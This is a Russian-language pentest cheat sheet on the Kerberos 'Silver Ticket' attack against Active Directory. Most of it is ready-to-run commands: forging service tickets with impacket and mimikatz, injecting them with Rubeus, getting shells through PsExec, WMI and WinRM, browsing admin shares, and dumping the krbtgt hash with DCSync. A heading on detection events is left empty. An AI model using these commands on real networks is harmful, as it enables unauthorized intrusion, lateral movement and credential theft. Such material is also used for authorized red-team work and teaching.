Silver Ticket (Серебряный билет)
Атака с использованием Silver Ticket предполагает эксплуатацию service tickets в среде Active Directory (AD). Этот метод основывается на получении NTLM-хэша учетной записи службы, например, учетной записи компьютера, для подделки билета Ticket Granting Service (TGS). С помощью поддельного билета злоумышленник может получить доступ к определенным сервисам в сети, выдавая себя за любого пользователя, обычно с целью получения административных привилегий (использование AES-ключей для подделки билетов является менее заметным).
Для создания билетов используются различные инструменты в зависимости от операционной системы:
Linux
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER> export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
Windows
# Create the ticket mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>" # Inject the ticket mimikatz.exe "kerberos::ptt <TICKET_FILE>" .\Rubeus.exe ptt /ticket:<TICKET_FILE> # Obtain a shell .\PsExec.exe -accepteula \\<TARGET> cmd
Служба CIFS является распространенной целью для получения доступа к файловой системе жертвы, однако другие службы, такие как HOST и RPCSS, также могут быть использованы для выполнения задач и запросов WMI.
С помощью Rubeus вы можете запросить все эти тикеты, используя параметр:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
События, которые появляются в журнале безопасности Windows при Silver Ticket атаке:
Злоупотребление сервисными билетами
С этим билетом вы сможете получить доступ к папкам C$ и ADMIN$ через SMB (если они доступны) на удаленной файловой системы, выполнив что-то вроде следующего:
dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
Вы также сможете получить доступ к оболочке на хосте или выполнить произвольные команды, используя PsExec/Winexec/ScExec.
С этими привилегиями вы можете выгрузить базу данных контроллера домена (DC) с помощью DCSync:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
С этими тикетами вы можете выполнять WMI на системе жертвы:
#Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local #Execute code Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand" #You can also use wmic wmic remote.computer.local list full /format:list
Имея доступ к winrm на компьютере, вы можете запустить PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC